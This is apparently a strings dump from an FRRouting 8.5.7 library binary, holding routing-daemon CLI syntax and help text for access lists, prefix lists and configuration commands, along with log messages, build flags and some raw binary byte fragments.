%s: sending all sessions registered%s: Can't find interface by ifindex: %d %s: %pFX -> %pFX%s VRF %s(%u)%s: %sbfd_protocol_integration_finishnext hop interface not found (index %d)__func__, &sp, &dp, ifstr, vrf_id_to_name(vrf_id), vrf_id, cbitstr, bfd_get_status_str(state)__func__, (struct in_addr *)&bsp->args.dst__func__, &src, &dst, bsp->args.ifnamelen ? bsp->args.ifname : "*", vrf_id_to_name(bsp->args.vrf_id), bsp->args.vrf_id, bsp->lastev == BSE_INSTALL ? "installed" : "uninstalled"bfd_source_cache_updatebfd_nht_updatebfd_protocol_integration_finishbfd_get_peer_infozclient_bfd_session_updatezclient_bfd_session_replaybfd_sess_uninstallbfd_sess_installbfd_sess_set_profilebfd_sess_set_interfacebfd_sess_set_ipv6_addrsbfd_sess_set_ipv4_addrs_bfd_sess_valid_bfd_sess_send_bfd_sess_removezclient_bfd_commandbfd_client_sendmsg%s: corruption detected: iov_small overflowed; head %p, tail %p, head->next %p%s: writev to fd %d failed: %s%s: corruption detected: buffer queue empty, but written is %lu__func__, fd, safe_strerror(errno)__func__, (unsigned long)written__func__, (void *)b->head, (void *)b->tail, (void *)b->head->next%s: write error on fd %d: %slib/buffer.cBuffer dataBufferbuffer_writebuffer_flush_availablebuffer_flush_windowfletcher_checksumlib/checksum.coffset < (len - 1) ()<>[]{}|(<[{|)>]}|| include%% Bad regexp '%s'
%% Unknown action '%s'

Current configuration:
8.5.7! loaded from %s
frr version %s
frr defaults %s
end
.sav%s.XXXXXXConfiguration saved to %s
Unknown encryption type.
FRRouting%s %s (%s) on %s(%s).
configured with:
    %s
hostname %s
domainname %s
allow-reserved-ranges
enable password 8 %s
enable password %s
no service cputime-stats
no service cputime-warning
service cputime-warning %lu
no service walltime-warning
service walltime-warning %lu
service advanced-vty
service password-encryption
service terminal-length %d
banner motd file %s
banner motd line %s
no banner motd
!
debug memstats-at-exit
%s version %s
configured with:
	%s


	 Command Hash: %s
%*s    /etc/frr/%s does not exist
%s must be in %s
%% Invalid {...} expression
%% Bad repetition operator
%% Regex syntax error
%% Invalid collating element
%% Unbalanced parentheses
%% Unbalanced braces
  (%s)  handle_pipe_actionhandle_pipe_action_done(none)lib/command.c(ln)->data != NULLlnnode > CONFIG_NODE!compsinitial_compsfind REGEX...find_cmdfindno allow-reserved-rangesno_allow_reserved_ranges_cmdno_allow_reserved_rangesno banner motdno_banner_motd_cmdno_banner_motdbanner motd defaultbanner_motd_default_cmdbanner_motd_defaultbanner motd line LINE...banner_motd_line_cmdbanner_motd_linebanner motd file FILEbanner_motd_file_cmdbanner_motd_file[no] debug memstats-at-exitdebug_memstats_cmddebug_memstatsconfig_logmsg_cmdconfig_logmsgecho MESSAGE...echo_cmddo_echono_service_terminal_lengthservice_terminal_length_cmdterminal no lengthconfig_terminal_no_length_cmdconfig_terminal_no_lengthterminal length (0-512)config_terminal_length_cmdconfig_terminal_lengthno_service_password_encryptservice password-encryptionservice_password_encrypt_cmdno enable passwordno_enable_password_cmdno_config_enable_passwordenable password [(8-8)] WORDno passwordno_password_cmdno_config_passwordno hostname [HOSTNAME]no_hostname_cmdconfig_no_hostnamehostname WORDconfig_hostnameno domainname [DOMAINNAME]no_domainname_cmdconfig_no_domainnamedomainname WORDconfig_domainnameshow startup-configshow_startup_config_cmdshow_startup_configcopy_runningconf_startupconfshow running-configshow_running_config_cmdshow_running_configconfig_write_cmdshow cli graphshow_cli_graph_cmdshow_cli_graphshow_commandtree_cmdshow_commandtreelist [permutations]config_list_cmdconfig_listconfig_help_cmdconfig_helpshow versionshow_version_cmdshow_versionconfig_end_cmdconfig_endconfig_quit_cmdconfig_quitconfig_exit_cmdconfig_exitdisableconfig_disable_cmdconfig_enable_cmdconfigure [terminal]config_terminal_cmdconfig_terminalcmd_execute_donecmd_executeautocomplete_cmdautocomplete%s(config)# %s# auth enablePassword: view%s> authIPV4_TKNIPV4_PREFIX_TKNIPV6_TKNIPV6_PREFIX_TKNMAC_TKNMAC_PREFIX_TKNFORK_TKNJOIN_TKNSTART_TKNEND_TKNNEG_ONLY_TKNCompletion itemHost configQuagga VTY provides advanced help feature.  When you need help,
anytime at the command line please press '?'.

If nothing matches, the help list will be empty and you must backup
 until entering a '?' shows the available options.
Two styles of help are provided:
1. Full help is available when you are ready to enter a
command argument (e.g. 'show ?') and describes each possible
argument.
2. Partial help is provided when an abbreviated argument is entered
   and you want to know what arguments match the input
   (e.g. 'show me?'.)

Please specify string starting with alphanumeric
Please be aware that removing the password is a security risk and you should think twice about this command.
%% Need a regexp to filter with
Can't save to configuration file, using vtysh.
Can't open configuration file %s.
Can't chmod configuration file %s: %s (%d).
!
! Zebra configuration saved from vty
!   Can't unlink backup configuration file %s.
Can't backup old configuration file %s.
Can't save configuration file %s.
Can't open configuration file [%s] due to '%s'
Copyright 1996-2005 Kunihiro Ishiguro, et al.'--build=x86_64-redhat-linux-gnu' '--host=x86_64-redhat-linux-gnu' '--program-prefix=' '--disable-dependency-tracking' '--prefix=/usr' '--exec-prefix=/usr' '--bindir=/usr/bin' '--sysconfdir=/etc' '--datadir=/usr/share' '--includedir=/usr/include' '--libdir=/usr/lib64' '--libexecdir=/usr/libexec' '--localstatedir=/var' '--sharedstatedir=/var/lib' '--mandir=/usr/share/man' '--infodir=/usr/share/info' '--sbindir=/usr/lib/frr' '--sysconfdir=/etc/frr' '--localstatedir=/var/run/frr' '--disable-static' '--disable-werror' '--enable-irdp' '--enable-multipath=256' '--enable-vtysh' '--enable-ospfclient' '--enable-ospfapi' '--enable-rtadv' '--enable-ldpd' '--enable-pimd' '--enable-pim6d' '--enable-pbrd' '--enable-nhrpd' '--enable-eigrpd' '--enable-babeld' '--enable-vrrpd' '--enable-user=frr' '--enable-group=frr' '--enable-vty-group=frrvty' '--enable-fpm' '--enable-watchfrr' '--disable-bgp-vnc' '--enable-isisd' '--enable-rpki' '--enable-bfdd' '--enable-pathd' '--enable-snmp' 'build_alias=x86_64-redhat-linux-gnu' 'host_alias=x86_64-redhat-linux-gnu' 'PKG_CONFIG_PATH=:/usr/lib64/pkgconfig:/usr/share/pkgconfig'
Hello, this is FRRouting (version 8.5.7).
Copyright 1996-2005 Kunihiro Ishiguro, et al.

%s called before cmd_init, breakage likely
%s[%s]:
	node %d does not exist.
	please call install_node() before install_element()
%s[%s]:
	node %d (%s) already has this command installed.
	duplicate install_element call?
%s[%s]:
	node %d does not exist.
	please call install_node() before uninstall_element()
%s[%s]:
	node %d (%s) does not have this command installed.
	duplicate uninstall_element call?
Please specify string starting with alphabet
Please specify string starting with alphabet or number
Hostname length should be less than %d chars
%% Invalid character class name
%% Regex ended with escape character (\)
%% Invalid number in \digit construction
%% Unbalanced square brackets
%% Invalid endpoint in range expression
%% Failed to compile (out of memory)
Find CLI command matching a regular expression
Search pattern (POSIX regex)
Negate a command or set its defaults
Allow using IPv4 (Class E) reserved IP space
Allow using IPv4 (Class E) reserved IP space
Negate a command or set its defaults
Set banner string
Strings for motd
Set banner string
Strings for motd
Default string
Set banner
Banner for motd
Banner from an input
Text
Set banner
Banner for motd
Banner from a file
Filename
Negate a command or set its defaults
Debugging functions
Print memory type statistics at exit
logmsg <emergencies|alerts|critical|errors|warnings|notifications|informational|debugging> MESSAGE...Send a message to enabled logging destinations
System is unusable
Immediate action needed
Critical conditions
Error conditions
Warning conditions
Normal but significant conditions
Informational messages
Debugging messages
The message to send
Echo a message back to the vty
The message to echo
no service terminal-length [(0-512)]Negate a command or set its defaults
Set up miscellaneous service
System wide terminal length configuration
Number of lines of VTY (0 means no line control)
no_service_terminal_length_cmdservice terminal-length (0-512)Set up miscellaneous service
System wide terminal length configuration
Number of lines of VTY (0 means no line control)
Set terminal line parameters
Negate a command or set its defaults
Set number of lines on a screen
Set terminal line parameters
Set number of lines on a screen
Number of lines on screen (0 for no pausing)
no service password-encryptionNegate a command or set its defaults
Set up miscellaneous service
Enable encrypted passwords
no_service_password_encrypt_cmdSet up miscellaneous service
Enable encrypted passwords
Negate a command or set its defaults
Modify enable password parameters
Assign the privileged level password
Modify enable password parameters
Assign the privileged level password
Specifies a HIDDEN password will follow
The HIDDEN 'enable' password string
Negate a command or set its defaults
Modify the terminal connection password
Modify the terminal connection password
Specifies a HIDDEN password will follow
The password string
Negate a command or set its defaults
Reset system's network name
Host name of this router
Set system's network name
This system's network name
Negate a command or set its defaults
Reset system's domain name
domain name of this router
Set system's domain name
This system's domain name
Show running system information
Contents of startup configuration
copy running-config startup-configCopy configuration
Copy running config to... 
Copy running config to startup config (same as write file/memory)
copy_runningconf_startupconf_cmdShow running system information
running configuration (same as write terminal)
write [<file|memory|terminal>]Write running configuration to memory, network, or terminal
Write to configuration file
Write configuration currently in memory
Write configuration to terminal
Show running system information
CLI reflection
Dump current command space as DOT graph
show commandtree [permutations]Show running system information
Show command tree
Permutations that we are interested in
Print command list
Print all possible command permutations
Description of the interactive help system
Show running system information
Displays zebra version
End current mode and change to enable mode.
Exit current mode and down to previous mode
Turn off privileged mode command
Turn on privileged mode command
Configuration from vty interface
Configuration terminal
autocomplete TYPE TEXT VARNAMEAutocompletion handler (internal, for vtysh)
cmd_token->type
cmd_token->text
cmd_token->varname
E\vĩީ,F.handle_pipe_actioncmd_initpermutecmd_execute_command_realnode_parentcmd_complete_commandcmd_variable_completecompletions_to_vecuninstall_element_install_element./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz#ccffcc#aaddff#ddaaff#ffddaa#ffffff  n%p [ shape=box, label=<<b>%s</b> (d) (h)<br/>%s  n%p -> end%p;
lib/command_graph.cCommand Argument NameCommand ArgumentCommand Token HelpCommand Token TextCommand Tokens<br/>"<font color="#0055ff" point-size="11"><b>%s</b></font>">, style = filled, fillcolor = "%s" ];
  end%p [ shape=box, label=<end>, style = filled, fillcolor = "#ffddaa" ];
vector_active(graph->nodes) >= 1direction == 1 || direction == -1vector_active(new->nodes) >= 1vector_active(old->nodes) >= 1cmd_graph_namescmd_merge_nodescmd_graph_mergebad buffer in yy_scan_bytes()input in flex scanner failedyyset_lineno called with no bufferyyset_column called with no bufferout of dynamic memory in yy_create_buffer()out of dynamic memory in yyensure_buffer_stack()out of dynamic memory in yy_scan_buffer()out of dynamic memory in yy_scan_bytes()fatal flex scanner internal error--end of buffer missedfatal error - scanner input buffer overflowout of dynamic memory in yy_get_next_buffer()fatal flex scanner internal error--no action foundkH}E=Wo,[FC@<; " $ %)"7$*%)6%.*/3*5.4/32/849=418>9=09A>BD>-AEBD,BGEHJE+GKHJ(HLKMNK'LOMN&MPOQRO!PSQRQTSUVSTWUVUXWYZWXYZ]]]]^
^______```\\\\\\\\\\\\\\\\\\\\\\\\	

	
#IFC\#@$? '#%#(<).;*##/:3874##96=A5>##B2DG1E##H0JL-K##M,NP+O##Q&RTS##U"VX!W##YZ[\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\]^__\\\\]]\``\\\\`\\\\\`\\\\``\\\``\\\``\\\``\\\\`\\\`\\`\\\\\\\\\\\\\\\\\\\\\\\\\\\\ !+,1%3{.8=zkk;Bb_SDIUGGGN<=/PU#SZ\a_f	hmkrtyw~	











						
0123456789abcdefABCDEF:./0123456789abcdefABCDEF:.ABCDEFabcdef0123456789:lib/command_match.clast_token(snode)->data != NULLsnode(fnode)->data != NULLfnodefirst->count == second->countsecond != NULLfirst != NULLtoken->type == VARIABLE_TKNtoken->type == RANGE_TKNtoken->type == WORD_TKNn < vector_active(vline)*el(tail)->data != NULLCommand Match Stack(@0Xcommand_completedisambiguatematch_variablematch_rangematch_wordcommand_match_rcommand_matchfirst->count == vector_active(vline) - n + 1Stack nownterm%s %s (.%d-%dsyntax errorsyntax error, unexpected %s<cr>----------%s: FATAL parse error: %s%s: | %sStarting parse
Stack size increased to %lu
Entering state %d
Reading a token: Now at end of input.
Next token isShifting   $%d = Invalid range.-> $$ =Error: discardingError: poppingmemory exhaustedCleanup: discarding lookaheadCleanup: poppinglib/command_parse.y__func__, spacing__func__, line__func__, msgctx->el->stringstrsep(&ctx->docstr, "\n")Lexer token (temporary)$end$undefinedIPV4IPV4_PREFIXIPV6IPV6_PREFIXVARIABLERANGEMACMAC_PREFIXEXCL_BRACKET'.''$''<''>''|''{''}''['']'$acceptstartvarname_tokencmd_token_seqcmd_tokensimple_tokenliteral_tokenplaceholder_token_realplaceholder_tokenselectorselector_seq_seqselector_tokenselector_token_seqsyntax error, unexpected %s, expecting %ssyntax error, unexpected %s, expecting %s or %ssyntax error, unexpected %s, expecting %s or %s or %ssyntax error, unexpected %s, expecting %s or %s or %s or %sRan out of docstring while parsing '%s'Excessive docstring while parsing '%s'%s: %d:%d-%d of this command definition:Reducing stack by rule %d (line %lu):
FATAL: '%s': {} contains an empty path! Use [{...}]__func__, loc->first_line, loc->first_column, loc->last_column=Vk;)]j%yCA39lwtrdJR/ cmd_yyerrorloopcheckdoc_nextterminate_graph  !!""	
 !"   
!
"
	
,&()*


%"'	

%'&-./0% !*%#)(%$+1,#$%


	
	#*3;AN`dhos}
	
compute_p2p_pathlib/cspf.cPath Computation Algorithmslib/csv.c%s:%d:%s(): field malloc failed
%s:%d:%s(): CSV Malloc failed
%s:%d:%s(): field str malloc failed
%s:%d:%s(): rec not in this csv
%s:%d:%s(): un-supported for this csv type - single buf detected
%s:%d:%s(): record malloc failed
%s:%d:%s(): fld malloc failed
%s:%d:%s(): rec already in this csv
%s:%d:%s(): cannot insert - exceeded buf size
%s:%d:%s(): rec1 and/or rec2 invalid
%s:%d:%s(): rec1 str not properly formatted
%s:%d:%s(): rec2 str not properly formatted
csv->buflen > (csv->csv_len - rec1->rec_len - rec2->rec_len + rec->rec_len)csv_decodecsv_concat_recordcsv_insert_recordcsv_remove_recordcsv_clone_recordcsv_append_recordcsv_add_field_to_recordcsv_encodecsv_initlib/debug.c[no] debug alldebug_all_cmddebug_alldebug_init_cliNegate a command or set its defaults
Debugging functions
Toggle all debugging output
<=>===traditionaldatacenterinvalid version specifier for %s: %sdistribute list doesn't exist
  Outgoing update filter list for all interface is  Incoming update filter list for all interface is %sdistribute-list prefix %s %s %s
!"Expecting in or out only, fix your code"%s %s%s(prefix-list)  not set
    %s filtered by nothing
ipv6  %sdistribute-list %s %s %s
lib/distribute.cDist-list nameDist-list ifnameDistribute listDistribute ctxdistribute_directiontitlesuggestion
Error %u - %s%s
%s
Description:
%s

Recommendation:
%s
jsonError Reference Texts(no error?)$ERR%s%s%s
lib/ferr.cshow_error_code_cmdshow_error_codeerror informationlog_ref_vty_initlog_ref_displayshow error <(1-4294967295)|all> [json]Show running system information
Information on errors
Error code to get info about
Information on all errors
JavaScript Object Notation
 exact-match any %pFX%sZebraExtendedStandardIPv6 permitdenydynamicaddressFamilyrules%s %s access list %s
sequenceNumberfilterType    seq %lldextendedsourceAddresssourceMaskdestinationAddressdestinationMask ip host %pI4 any
, wildcard bits %pI4/frr-filter:liblib/filter.cmaster->str.tail == NULLmaster->str.head == NULLACCESSLIST_NAMEACCESSLIST4_NAMEACCESSLIST6_NAMEACCESSLIST_MAC_NAMEipv6 access listipv4 access listMAC access listshow_ipv6_access_list_nameshow ipv6 access-list [json]show_ipv6_access_list_cmdshow_ipv6_access_listshow_ip_access_list_name_cmdshow_ip_access_list_nameshow ip access-list [json]show_ip_access_list_cmdshow_ip_access_listshow_mac_access_list_name_cmdshow_mac_access_list_nameshow mac access-listshow_mac_access_list_cmdshow_mac_access_listAccess FilterAccess List StrAccess Listaccess_list_reset_macaccess_list_reset_ipv6access_list_reset_ipv4access_list_init_macaccess_list_init_ipv6access_list_init_ipv4show ipv6 access-list ACCESSLIST6_NAME [json]Show running system information
IPv6 information
List IPv6 access lists
IPv6 access-list name
JavaScript Object Notation
show_ipv6_access_list_name_cmdShow running system information
IPv6 information
List IPv6 access lists
JavaScript Object Notation
show ip access-list ACCESSLIST4_NAME [json]Show running system information
IP information
List IP access lists
IP access-list name
JavaScript Object Notation
Show running system information
IP information
List IP access lists
JavaScript Object Notation
show mac access-list ACCESSLIST_MAC_NAMEShow running system information
mac access lists
List mac access lists
mac address
Show running system information
mac access lists
List mac access lists
%s/entry%% Malformed sequence value
Internal CLI error [%s]
%% invalid input for %s: %s
seq_stripv6./host./network/address./network/mask./source-any%s/entry[sequence='%lld']%s/entry[sequence='%s']host_str./destination-host./destination-network/address./destination-network/mask./destination-anysrc_maskdst_masktruefalse./ipv4-exact-match./anyexact./ipv6-exact-match./mac./remarkmac access-list %s seq %s %s./network %pI4 %pI4 host./destination-network host %saccess-list %s remark %s
ip prefix-list %s seq %s %s ge %s le %slib/filter_cli.cno_ipv6_prefix_list_remarkipv6_prefix_list_remark_cmdno ipv6 prefix-list WORD$nameno_ipv6_prefix_list_all_cmdno_ipv6_prefix_list_allno_ipv6_prefix_list_seq_cmdno_ipv6_prefix_list_seqno_ipv6_prefix_list_cmdno_ipv6_prefix_listno_ip_prefix_list_remarkno_ip_prefix_list_remark_cmdno ip prefix-list WORD$nameno_ip_prefix_list_all_cmdno_ip_prefix_list_allno_ip_prefix_list_seq_cmdno_ip_prefix_list_seqno_ip_prefix_list_cmdno_ip_prefix_listno_mac_access_list_remarkno_mac_access_list_remark_cmdno_mac_access_list_all_cmdno_mac_access_list_allno_mac_access_list_cmdno_mac_access_listno_ipv6_access_list_remarkipv6_access_list_remark_cmdno ipv6 access-list WORD$nameno_ipv6_access_list_all_cmdno_ipv6_access_list_allno_ipv6_access_list_cmdno_ipv6_access_listno_access_list_remarkno_access_list_remark_cmdno access-list WORD$nameno_access_list_all_cmdno_access_list_allno_access_list_cmdno_access_listno_access_list_ext_cmdno_access_list_extno_access_list_std_cmdno_access_list_std/frr-filter:lib/access-list[type='%s'][name='%s']/remark/frr-filter:lib/access-list[type='%s'][name='%s']/frr-filter:lib/access-list[type='%s'][name='%s']/entry[sequence='%lld']/frr-filter:lib/prefix-list[type='%s'][name='%s']/remark/frr-filter:lib/prefix-list[type='%s'][name='%s']/frr-filter:lib/prefix-list[type='%s'][name='%s']/entry[sequence='%s']/frr-filter:lib/prefix-list[type='%s'][name='%s']/entry[sequence='%lld']/frr-filter:lib/access-list[type='ipv4'][name='%s']/frr-filter:lib/access-list[type='ipv6'][name='%s']/frr-filter:lib/access-list[type='mac'][name='%s']/frr-filter:lib/prefix-list[type='ipv4'][name='%s']/frr-filter:lib/prefix-list[type='ipv6'][name='%s']/frr-filter:lib/access-list[type='ipv4'][name='%s']/remark/frr-filter:lib/access-list[type='ipv6'][name='%s']/remark/frr-filter:lib/access-list[type='mac'][name='%s']/remark/frr-filter:lib/prefix-list[type='ipv4'][name='%s']/remark/frr-filter:lib/prefix-list[type='ipv6'][name='%s']/remark./ipv4-prefix-length-greater-or-equal./ipv4-prefix-length-lesser-or-equal./ipv6-prefix-length-greater-or-equal./ipv6-prefix-length-lesser-or-equalprefix-list %s description %s
no ipv6 prefix-list WORD$name description LINE...Negate a command or set its defaults
IPv6 information
Build a prefix list
Prefix list entry name
Access list entry comment
Comment up to 100 characters
no_ipv6_prefix_list_remark_line_cmdno ipv6 prefix-list WORD$name descriptionNegate a command or set its defaults
IPv6 information
Build a prefix list
Prefix list entry name
Access list entry comment
no_ipv6_prefix_list_remark_cmdipv6 prefix-list WORD$name description LINE...IPv6 information
Build a prefix list
Prefix list entry name
Access list entry comment
Comment up to 100 characters
Negate a command or set its defaults
IPv6 information
Build a prefix list
Prefix list entry name
no ipv6 prefix-list WORD$name seq (1-4294967295)$seqNegate a command or set its defaults
IPv6 information
Build a prefix list
Prefix list entry name
Sequence number of an entry
Sequence number
no ipv6 prefix-list WORD$name [seq (1-4294967295)$seq] <deny|permit>$action <any|X:X::X:X/M$prefix [{ge (0-128)$ge|le (0-128)$le}]>Negate a command or set its defaults
IPv6 information
Build a prefix list
Prefix list entry name
Sequence number of an entry
Sequence number
Specify packets to reject
Specify packets to forward
Any prefix match.  Same as "::0/0 le 128"
IPv6 prefix <network>/<length>, e.g., 3ffe::/16
Maximum prefix length to be matched
Maximum prefix length
Minimum prefix length to be matched
Minimum prefix length
ipv6 prefix-list WORD$name [seq (1-4294967295)] <deny|permit>$action <any|X:X::X:X/M$prefix [{ge (0-128)$ge|le (0-128)$le}]>IPv6 information
Build a prefix list
Prefix list entry name
Sequence number of an entry
Sequence number
Specify packets to reject
Specify packets to forward
Any prefix match.  Same as "::0/0 le 128"
IPv6 prefix <network>/<length>, e.g., 3ffe::/16
Maximum prefix length to be matched
Maximum prefix length
Minimum prefix length to be matched
Minimum prefix length
no ip prefix-list WORD$name description LINE...Negate a command or set its defaults
IP information
Build a prefix list
Prefix list entry name
Access list entry comment
Comment up to 100 characters
no_ip_prefix_list_remark_line_cmdno ip prefix-list WORD$name descriptionNegate a command or set its defaults
IP information
Build a prefix list
Prefix list entry name
Access list entry comment
ip prefix-list WORD$name description LINE...IP information
Build a prefix list
Prefix list entry name
Access list entry comment
Comment up to 100 characters
Negate a command or set its defaults
IP information
Build a prefix list
Prefix list entry name
no ip prefix-list WORD$name seq (1-4294967295)$seqNegate a command or set its defaults
IP information
Build a prefix list
Prefix list entry name
Sequence number of an entry
Sequence number
no ip prefix-list WORD$name [seq (1-4294967295)$seq] <deny|permit>$action <any|A.B.C.D/M$prefix [{ge (0-32)|le (0-32)}]>Negate a command or set its defaults
IP information
Build a prefix list
Prefix list entry name
Sequence number of an entry
Sequence number
Specify packets to reject
Specify packets to forward
Any prefix match.  Same as "0.0.0.0/0 le 32"
IP prefix <network>/<length>, e.g., 35.0.0.0/8
Minimum prefix length to be matched
Minimum prefix length
Maximum prefix length to be matched
Maximum prefix length
ip prefix-list WORD$name [seq (1-4294967295)$seq] <deny|permit>$action <any|A.B.C.D/M$prefix [{ge (0-32)$ge|le (0-32)$le}]>IP information
Build a prefix list
Prefix list entry name
Sequence number of an entry
Sequence number
Specify packets to reject
Specify packets to forward
Any prefix match.  Same as "0.0.0.0/0 le 32"
IP prefix <network>/<length>, e.g., 35.0.0.0/8
Minimum prefix length to be matched
Minimum prefix length
Maximum prefix length to be matched
Maximum prefix length
no mac access-list ACCESSLIST_MAC_NAME$name remark LINE...Negate a command or set its defaults
MAC address
Access list entry
Access list name
Access list entry comment
Comment up to 100 characters
no_mac_access_list_remark_line_cmdno mac access-list ACCESSLIST_MAC_NAME$name remarkNegate a command or set its defaults
MAC address
Access list entry
Access list name
Access list entry comment
mac access-list ACCESSLIST_MAC_NAME$name remark LINE...MAC address
Access list entry
Access list name
Access list entry comment
Comment up to 100 characters
no mac access-list ACCESSLIST_MAC_NAME$nameNegate a command or set its defaults
MAC address
Access list entry
Access list name
no mac access-list ACCESSLIST_MAC_NAME$name [seq (1-4294967295)$seq] <deny|permit>$action <X:X:X:X:X:X$mac|any>Negate a command or set its defaults
MAC address
Access list entry
Access list name
Sequence number of an entry
Sequence number
Specify packets to reject
Specify packets to forward
MAC address
Match any MAC address
mac access-list ACCESSLIST_MAC_NAME$name [seq (1-4294967295)$seq] <deny|permit>$action <X:X:X:X:X:X$mac|any>MAC address
Access list entry
Access list name
Sequence number of an entry
Sequence number
Specify packets to reject
Specify packets to forward
MAC address
Match any MAC address
no ipv6 access-list ACCESSLIST6_NAME$name remark LINE...Negate a command or set its defaults
IPv6 information
Access list entry
Access list name
Access list entry comment
Comment up to 100 characters
no_ipv6_access_list_remark_line_cmdno ipv6 access-list WORD$name remarkNegate a command or set its defaults
IPv6 information
Access list entry
Access list name
Access list entry comment
no_ipv6_access_list_remark_cmdipv6 access-list WORD$name remark LINE...IPv6 information
Access list entry
Access list name
Access list entry comment
Comment up to 100 characters
Negate a command or set its defaults
IPv6 information
Access list entry
Access list name
no ipv6 access-list WORD$name [seq (1-4294967295)$seq] <deny|permit>$action <X:X::X:X/M$prefix [exact-match$exact]|any>Negate a command or set its defaults
IPv6 information
Access list entry
Access list name
Sequence number of an entry
Sequence number
Specify packets to reject
Specify packets to forward
IPv6 prefix
Exact match of the prefixes
Match any IPv6
ipv6 access-list WORD$name [seq (1-4294967295)$seq] <deny|permit>$action <X:X::X:X/M$prefix [exact-match$exact]|any>IPv6 information
Access list entry
Access list name
Sequence number of an entry
Sequence number
Specify packets to reject
Specify packets to forward
IPv6 prefix
Exact match of the prefixes
Match any IPv6
no access-list WORD$name remark LINE...Negate a command or set its defaults
Access list entry
Access list name
Access list entry comment
Comment up to 100 characters
no_access_list_remark_line_cmdno access-list WORD$name remarkNegate a command or set its defaults
Access list entry
Access list name
Access list entry comment
access-list WORD$name remark LINE...Access list entry
Access list name
Access list entry comment
Comment up to 100 characters
Negate a command or set its defaults
Access list entry
Access list name
no access-list WORD$name [seq (1-4294967295)$seq] <deny|permit>$action <A.B.C.D/M$prefix [exact-match$exact]|any>Negate a command or set its defaults
Access list entry
Access list name
Sequence number of an entry
Sequence number
Specify packets to reject
Specify packets to forward
Prefix to match. e.g. 10.0.0.0/8
Exact match of the prefixes
Match any IPv4
access-list WORD$name [seq (1-4294967295)$seq] <deny|permit>$action <A.B.C.D/M$prefix [exact-match$exact]|any>Access list entry
Access list name
Sequence number of an entry
Sequence number
Specify packets to reject
Specify packets to forward
Prefix to match. e.g. 10.0.0.0/8
Exact match of the prefixes
Match any IPv4
no access-list WORD$name [seq (1-4294967295)$seq] <deny|permit>$action ip <A.B.C.D$src A.B.C.D$src_mask|host A.B.C.D$src|any> <A.B.C.D$dst A.B.C.D$dst_mask|host A.B.C.D$dst|any>Negate a command or set its defaults
Access list entry
Access list name
Sequence number of an entry
Sequence number
Specify packets to reject
Specify packets to forward
Any Internet Protocol
Source address to match
Source address mask to apply
Single source host
Source address to match
Any source host
Destination address to match
Destination address mask to apply
Single destination host
Destination address to match
Any destination host
access-list WORD$name [seq (1-4294967295)$seq] <deny|permit>$action ip <A.B.C.D$src A.B.C.D$src_mask|host A.B.C.D$src|any> <A.B.C.D$dst A.B.C.D$dst_mask|host A.B.C.D$dst|any>Access list entry
Access list name
Sequence number of an entry
Sequence number
Specify packets to reject
Specify packets to forward
IPv4 address
Source address to match
Source address mask to apply
Single source host
Source address to match
Any source host
Destination address to match
Destination address mask to apply
Single destination host
Destination address to match
Any destination host
no access-list WORD$name [seq (1-4294967295)$seq] <deny|permit>$action <[host] A.B.C.D$host|A.B.C.D$host A.B.C.D$mask>Negate a command or set its defaults
Access list entry
Access list name
Sequence number of an entry
Sequence number
Specify packets to reject
Specify packets to forward
A single host address
Address to match
Address to match
Wildcard bits
access-list WORD$name [seq (1-4294967295)$seq] <deny|permit>$action <[host] A.B.C.D$host|A.B.C.D$host A.B.C.D$mask>Access list entry
Access list name
Sequence number of an entry
Sequence number
Specify packets to reject
Specify packets to forward
A single host address
Address to match
Address to match
Wildcard bits
filter_cli_init../../type../ipv4-prefix../ipv6-prefixlib/filter_nb.c__func__, &ple->prefix, &pfrr-filter/frr-filter:lib/access-list/frr-filter:lib/prefix-listprefix-list type %u is mismatched.../ipv4-prefix-length-greater-or-equal../ipv4-prefix-length-lesser-or-equal../ipv6-prefix-length-greater-or-equal../ipv6-prefix-length-lesser-or-equalInvalid prefix range for %pFX: Make sure that mask length <= ge <= leduplicated access list value: %sduplicated prefix list value: %s%s: bad network %pFX correcting it to %pFX/frr-filter:lib/access-list[type='%s'][name='%s']/entry/frr-filter:lib/prefix-list[type='%s'][name='%s']/entry/frr-filter:lib/access-list/remark/frr-filter:lib/access-list/entry/frr-filter:lib/access-list/entry/action/frr-filter:lib/access-list/entry/ipv4-prefix/frr-filter:lib/access-list/entry/ipv4-exact-match/frr-filter:lib/access-list/entry/host/frr-filter:lib/access-list/entry/network/address/frr-filter:lib/access-list/entry/network/mask/frr-filter:lib/access-list/entry/source-any/frr-filter:lib/access-list/entry/destination-host/frr-filter:lib/access-list/entry/destination-network/address/frr-filter:lib/access-list/entry/destination-network/mask/frr-filter:lib/access-list/entry/destination-any/frr-filter:lib/access-list/entry/ipv6-prefix/frr-filter:lib/access-list/entry/ipv6-exact-match/frr-filter:lib/access-list/entry/mac/frr-filter:lib/access-list/entry/any/frr-filter:lib/prefix-list/remark/frr-filter:lib/prefix-list/entry/frr-filter:lib/prefix-list/entry/action/frr-filter:lib/prefix-list/entry/ipv4-prefix/frr-filter:lib/prefix-list/entry/ipv4-prefix-length-greater-or-equal/frr-filter:lib/prefix-list/entry/ipv4-prefix-length-lesser-or-equal/frr-filter:lib/prefix-list/entry/ipv6-prefix/frr-filter:lib/prefix-list/entry/ipv6-prefix-length-greater-or-equal/frr-filter:lib/prefix-list/entry/ipv6-prefix-length-lesser-or-equal/frr-filter:lib/prefix-list/entry/anylib_prefix_list_entry_prefix_modifyRCU sweeperlib/frrcu.crt && rt->depth!rcu_heads_first(&rcu_heads)cur->depthRCU sequence barrierRCU threadrcu_shutdownrcu_assert_read_unlockedrcu_assert_read_lockedrcu_read_unlockrcu_read_lockrcu_dorcu_mainrcu_startrcu_thread_preparercu_threads_count(&rcu_threads) == 1rt && !rt->depth && !seqlock_held(&rt->rcu)rt && rt->depth && seqlock_held(&rt->rcu)!pthread_create(&rcu_pthread, NULL, rcu_main, NULL)Anonymous threadlib/frr_pthread.c(n)->data != NULL&fpt_dummy((void *)0)&fpt_finishPOSIX sync primitivesFRR POSIX Threadfrr_pthread_stop_allfrr_pthread_runfrr_pthread_finishfpt_runfpt_haltfrr_is_after_fork || !"trying to start thread before fork()"nodegraph not initialized
  %-*s  %s
%% No match
%d?:"%s" => %s ?'%s' -aborting! (depth limit)
--END
<<loop@%zu 
%% no such node
node %d
Matched: %s
func: %p
%s -- %s
%% Unknown command
%% Incomplete command
%% Ambiguous command
%s: %s
printallnodescannodegraph uninitialized
scanning node %d (%s)
'%s' [%x]
'%s' AMBIGUOUS:
  %s
   '%s'
%d ambiguous commands found.
initialized graph
